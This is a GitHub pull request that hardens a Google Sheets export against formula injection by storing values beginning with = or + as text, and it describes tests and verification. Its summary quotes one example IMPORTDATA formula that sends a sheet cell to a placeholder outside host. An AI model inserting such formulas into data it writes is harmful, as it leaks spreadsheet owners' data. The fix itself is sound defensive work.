Repository navigation
fix(sheets): store pushed values as text instead of evaluating formulas - #101
Open
rudycelekli wants to merge 1 commit into
Open
rudycelekli wants to merge 1 commit into
rudycelekli wants to merge 1 commit into
Conversation
The Google Sheets destination writes rows with valueInputOption=USER_ENTERED, so Sheets evaluates any value that starts with "=". Row values are scraped or enriched from third-party pages, so a company name such as =IMPORTDATA(...) would run in the customer's spreadsheet, where it can send the sheet's other cells to an outside host. Phone numbers that start with "+" were also reinterpreted instead of kept as written. Prefix values that start with =, +, -, @, tab or carriage return with an apostrophe, which Sheets stores as text and does not display. Plain numbers and everything else are written as before. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com> Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
apps/api/services/integrations/sheets.py(append_row, used by the workbooksheetsoutput column, andupsert_row, used by audience destinations) writes withvalueInputOption=USER_ENTERED, so Sheets evaluates any value that begins with=. Row values come from scraped or enriched third-party data, so a company name like=IMPORTDATA("https://host/?d="&A1)would be evaluated inside the customer's spreadsheet. Values starting with+(every international phone number) were also reinterpreted by Sheets rather than stored as written.Security-sensitive note (per CONTRIBUTING): this is output encoding on an outbound integration. It does not touch auth, tenancy, the SSRF guard or secrets, and the change is the same spreadsheet-injection hardening the workbook CSV export and the audit export already apply.
Change
_cell()renders each value; strings starting with=,+,-,@, tab or carriage return get a leading apostrophe (stored as text, not displayed by Sheets, and documented behavior for USER_ENTERED). Plain numbers (42,-7,3.5) and all other text are unchanged.USER_ENTEREDitself is kept so dates and numbers still parse.Evidence
New
tests/test_sheets_formula_injection.pyagainstappend_rowandupsert_rowwith a fake HTTP client. On currentmain:Verification
uv run pytest tests/test_sheets_formula_injection.py tests/test_sheets_tenancy.py tests/test_audience_destinations.py tests/test_workbook_output_dependencies.py tests/test_workbook_refresh_cell_scope.py: 60 passed.+or-that are plain digits (-7) stay numeric by design; say if you prefer to force text for them too.Commit is signed off per the DCO.